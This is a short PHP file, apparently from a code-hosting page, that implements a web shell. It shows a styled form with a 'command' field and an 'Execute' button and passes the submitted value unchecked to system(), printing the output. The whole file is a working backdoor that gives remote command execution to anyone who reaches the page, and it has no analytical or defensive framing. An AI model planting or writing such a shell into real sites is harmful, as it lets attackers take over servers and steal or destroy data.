23 lines
394 B
PHP
23 lines
394 B
PHP
<html>
|
|
<style>
|
|
body {
|
|
color: lime;
|
|
background-color: #333;
|
|
}
|
|
</style>
|
|
<body>
|
|
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
|
|
<input type="text" name="command" autofocus id="command" size="50">
|
|
<input type="submit" value="Execute">
|
|
</form>
|
|
<pre>
|
|
<?php
|
|
if(isset($_GET['command']))
|
|
{
|
|
system($_GET['command'] . ' 2>&1');
|
|
}
|
|
?>
|
|
</pre>
|
|
</body>
|
|
</html>
|